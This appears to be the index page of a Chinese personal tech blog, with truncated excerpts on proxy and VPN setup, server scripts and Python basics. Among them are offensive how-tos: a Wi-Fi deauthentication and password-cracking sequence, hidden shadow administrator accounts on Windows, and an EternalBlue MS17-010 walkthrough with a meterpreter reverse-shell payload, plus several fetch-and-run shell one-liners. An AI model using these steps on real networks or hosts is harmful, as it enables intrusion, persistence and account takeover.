Python爬虫初试
#coding = utf-8import re #导入正则模块import requests #导入requests模块,第三方模块需要通过pip install requests下载for page in range(1,13): #构建循环,爬取1-13页的内容 url = “https://edu.aqniu.com/course/explore?page="+"page" headers = { “Proxy-Connection”: “keep-alive”, “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36”, “Accept”: “text/html,application/ ...
部署安装 酸酸-Manager
ShadowSocks-Manager是一个ShadowSocks的流量账户web控制项目安装
安装shadowsocks,强烈推荐使用 libev 版本
安装Node.js 6.* 或更高版本
安装ssmgr
主控端
一台已经完成部署的SSMGR节点端
一个SMTP发件服务。(企业邮箱SMTP服务需要开启)
至少 512 MB 内存。
一个纯净的系统。
如果你满足以上条件,那么可以开始下面的主控端部署教程。
依赖安装直接复制运行就好了 Debian/Ubuntu
apt-get -y update
apt-get -y install wget curl screen nano
CentOS/RHEL
yum install -y wget curl screen nano
安装NodeJS不多说,NodeJS是运行时必要的语言环境 32位的系统使用:
mkdir /usr/local/nodejs
wget -N –no-check-certificate https://nodejs.org/dist/v6.9.1/node ...
FinalSpeed安装
FinalSpeedFinalSpeed是高速双边加速软件,可加速所有基于tcp协议的网络服务,在高丢包和高延迟环境下,仍可达到90%的物理带宽利用率,即使高峰时段也能轻松跑满带宽.
说明finalspeed作者开始卖收费版了,所以停止了免费版的更新,并且删除了所有代码。不过还好我fork了一份。。作为Openvz的救星,还是有不少人对finalspeed有需求的。所以我就做了这个一键安装包。
这个一键安装包完全重写了作者原来的安装代码,启动,停止代码。并加入了服务,可以使用 service finalspeed star | stop 来控制,加入了开机启动启动。总之,你需要做的就是真正的一键。一键安装包安装的服务器端版本为1.2.需要1.0的自行到github下载。欢迎大家测试,有问题及时留言给我。
github地址:https://github.com/91yun/finalspeed
github里也有服务器端和客户端的文件。大家有需求可以自行去下载。
一键安装代码:wget -N --no-check-certificate https://raw.githubusercon ...
更改SSH登录验证密码方式
vim /etc/ssh/sshd_config
设置为密码登陆方式
查找
PermitRootLogin yes
删除前面的#注释
查找
PasswordAuthentication no
改为
PasswordAuthentication yes
保存
wifi渗透
airmon-ng start wlan0 #激活网卡至监视模式airodump-ng wlan0mon #获取附近AP 信息airodump-ng --bssid BSSID -c CH -w 文件位置 wlan0mon #-w 是抓的包输出目录,注意加-caireplay-ng -0 10 -a BSSID -c STATION wlan0mon #-0 表示DeAuth模式,10表示攻击次数,-c是第3 步中的得到的STATION,即已连接上的客户端MAC 地址aircrack-ng -w Wordlists.txt CAP-01.cap #-w表示字典包的路径, CAP 表示第 1 步中保存的文件中 -01.cap 文件,因为我们对每个 AP 的尝试可能不止一次,所以 airodump-ng 会自动在文件名后加类似01,02这样的数字表示次数,所以记得最后破解的时候输入正确的 CAP 包名称
以下皆为网络实验班某同学的报告内容
1.Aircrack-ng1.1无线网卡调成监听模式 通过输入iwconfig
查看无线网卡的interface。这个命令专用于查看无线网卡,不像if ...
Kali启用VPN连接组件
apt-get install network-manager-openvpn-gnomeapt-get install network-manager-pptpapt-get install network-manager-pptp-gnomeapt-get install network-manager-strongswanapt-get install network-manager-vpncapt-get install network-manager-vpnc-gnome/etc/init.d/network-manager restart
Kali安装VirtualBox增强包
how install linux-headers1 install build-essential(optional)
sudo apt-get install build-essential
2 install linux-headers
sudo apt-get updatesudo apt-get install
Linux
-headers-$(uname -r)
Linux安装部署L2tp/Ipsec
写在前面:如果遇到了安装完成之后连上无法上网,只有Tx数据包没有Rx数据包,多半是防火墙没有配置好masquerade端口重定向,配置好就行
基于 OpenVZ 虚拟化技术的 VPS 需要开启TUN/TAP才能正常使用,购买 VPS 时请先咨询服务商是否支持开启 TUN/TAP。
OpenVZ 虚拟的 VPS 需要系统内核支持 IPSec 才行。也就是说,母服务器的内核如果不支持的话那就没办法,只能换 VPS。 因此,一般不建议在 OpenVZ 的 VPS 上安装本脚本。脚本如果检测到该 VPS 为 OpenVZ 架构,会出现警告提醒。
如何检测是否支持TUN模块? 执行命令: cat /dev/net/tun 如果返回信息为:cat: /dev/net/tun: File descriptor in bad state 说明正常
如何检测是否支持ppp模块? 执行命令: cat /dev/ppp 如果返回信息为:cat: /dev/ppp: No such devi ...
部署服务器端网络负载均衡协议
集成脚本https://github.com/ylx2016/Linux-NetSpeed/releases
不卸载内核wget -N –no-check-certificate “https://github.000060000.xyz/tcpx.sh" && chmod +x tcpx.sh && ./tcpx.shwget -N “https://github.000060000.xyz/tcpx.sh" && chmod +x tcpx.sh && ./tcpx.sh卸载内核wget -N –no-check-certificate “https://github.000060000.xyz/tcp.sh" && chmod +x tcp.sh && ./tcp.shwget -N “https://github.000060000.xyz/tcp.sh" && chmod +x tcp.sh &a ...
Linux服务器信息测试脚本
测试系统信息以及全球网络延迟wget -qO- bench.sh | bash
91yun服务器测试wget -N –no-check-certificate https://raw.githubusercontent.com/91yun/91yuntest/master/test.sh && bash test.sh -i “io,bandwidth,traceroute,backtraceroute,allping,gotoping”
安装speedtestwget https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.pychmod +x speedtest.py./speedtest.py
Nessus
先关闭nessus:
/etc/init.d/nessus stop
在终端里输入
/opt/nessus/sbin/nessuscli fetch –register
你新申请的注册码
Windows创建影子管理员账户
1、给管理员注册表操作权限 在注册表中对系统账户的键值进行操作,需要到”HKEY_LOCAL_MACHINE\SAM\SAM”处进行修改,但是当我们来到该处时,会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给予”写入D AC”和”读取控制”权限,没有给予修改权限,因此我们没有办法对”SAM”项下的键值进行查看和修改。不过我们可以借助系统中另一个”注册表编辑器”给管理员赋予修改权限。 点击”开始”→”运行”,输入”regedt32.exe”后回车,随后会弹出另一个”注册表编辑器”,和我们平时使用的”注册表编辑器”不同的是它可以修改系统账户操作注册表时的权限(为便于理解,以下简称regedt32.exe)。在regedt32.exe中来到”HKEY_LOCAL_MACHINE\SAM\SAM”处,点击”安全”菜单→”权限”,在弹出的”SAM的权限”编辑窗口中选中”administrators”账户,在下方的权限设置处勾选”完全控制”,完成后点击”确定”即可。然后我们切换回”注册表编辑器”,可以发现”HKEY_LOCAL_MACHINE\SAM\SAM”下面的键值都可以展开了。
...
NSA工具包MS17-010手动复现
所需工具目标机器: 192.168.100.123 Windows Server 2008 R2攻击机1: 192.168.8.117 Windows Server 2012攻击机2:192.168.8.119 Kali Linux第一步安装好python2.6.1以及pywin32
使用cmd进入~\NSA\windows目录
输入fb.py
配置输入好靶机IP以及攻击机1的IP
注意! : Use Redirection [yes] : 这里要选no
配置好project信息
输入
fb > use Eternalblue
一路回车至
\[\*\] Mode :: Delivery mechanism\*0) DANE Forward deployment via DARINGNEOPHYTE1) FB Traditional deployment from within FUZZBUNCH
此处选择 1
继续回车可得到结果
攻击机1闲置,开始操作攻击机2
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=1 ...
Linux安装部署PPTP VPN服务
wget http://mirrors.linuxeye.com/scripts/vpn\_centos.shchmod +x ./vpn_centos.sh./vpn_centos.sh
如果遇到了安装完成之后连上无法上网,只有Tx数据包没有Rx数据包,多半是防火墙没有配置好masquerade端口重定向,配置好就行
MS17-010 SMB Remote Code Execution
\\MS17-010.pyThis module requires Metasploit: http://metasploit.com/downloadCurrent source: https://github.com/rapid7/metasploit-frameworkauxiliary/scanner/smb/smb_ms_17_010require ‘msf/core’
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report
def initialize(info = {}) super(update_info(info, ‘Name’ ...
Python list、tuple、dict、set
list
python内置的一种数据结构
有序
可更改(添加、删除)
声明
>>> game = ["dota", "dota2", "lol"]
>>> game
['dota', 'dota2', 'lol']
获取列表长度
>>> len(game)
3
获取元素
>>> game[0]
'dota'
>>> game[1]
'dota2'
>>> game[2]
'lol'
>>> game[3]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IndexError: list index out of range
>>>
如果下标越界会报 ...
Python 类
python类简介面向对象是我们经常能听到的术语,即class,类。事实上,主角是两个,一个是类,一个是类实例。人类,是一个类,我们每一个人是一个人类的实例。而类之间又有一些关系,例如,我们既是人类,也是动物,更细化来讲,我们是哺乳类动物,灵长类,类似于集合的概念,哺乳动物属于动物,而在面向对象中我们通常称哺乳动物是动物的子类。而对于动物这个类来说,会自带一些属性,例如:年龄、体重。也会有一些方法:生殖、呼吸。而不同种类的动物(即动物类的各种子类)可能会有不同的属性或方法,像胎生、卵生,像鸟类的飞行的方法和豹子奔跑的方法。
定义用关键字class去定义一个类,如果没有指定父类,默认继承object类。
class Human(object):
pass
这样,我们定义个了一个Human,人类。
类属性
class Human(object):
taisheng = True
为什么要叫类属性呢,因为这个属性是和类绑定的,并不是和实例绑定的。胎生这个属性是全人类共有的,并不是某个人特殊拥有的属性。
实例属性
class Human(object):
def __init__(se ...
Python函数
函数是可重复调用的代码段,能提高代码的复用率。
定义格式
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 无参数
def print_hello():
print "hello"
print_hello()
# 带参数
def print_str(s):
print s
return s * 2
print_str("fuck")
# 带默认参数
def print_default(s="hello"):
print s
print_default()
print_default("default")
# 不定长参数
def print_args(s, *arg):
print s
for a in arg:
print a
return
print_args("hello")
print_args("hello", "world", "1&qu ...
Python变量
python变量
python不用事先声明变量,赋值过程中就包含了变量声明和定义的过程
用“=”赋值,左边是变量名,右边是变量的值
字符串
#!/usr/bin/python
# -*- coding: UTF-8 -*-
str = 'Hello World!'
print str # 输出完整字符串
print str[0] # 输出字符串中的第一个字符
print str[2:5] # 输出字符串中第三个至第五个之间的字符串
print str[2:] # 输出从第三个字符开始的字符串
print str * 2 # 输出字符串两次
print str + "TEST" # 输出连接的字符串
运行以上代码的结果:
Hello World!
H
llo
llo World!
Hello World!Hello World!
Hello World!TEST
列表类似于C++或Java语言的数组,一个有序可变集合的容器。支持内置的基础数据结构甚至是列表,列表是可以嵌套的。不同的数据结构也可以放在同一个列表中,没有 ...
Python模块
通常来说,比较正规的工程不会把所有代码放在一个py文件里,我们会把代码拆成各个模块,分别调用。对python来说,拆成各个模块可以看做拆成各个py文件。
搜索路径通常来说,同文夹下的py文件可以直接导入。
def print_hello():
print "hello"
我们把这个保存至hello.py
import hello
hello.print_hello()
在run.py里导入,然后调用print_hello() 目录结构
...../
hello.py
run.py
hello.py和run.py在同一目录下,可以直接导入 如果在不同路径下,可以在sys.path里手动加入你想导入的路径
import sys
sys.path.append('/home/zhuzekun/course')
import hello
hello.print_hello()
如果run.py不在/ home / zhuzekun / course文件夹下,手动加入这个路径,就可以导入这个路径下的hello.py ...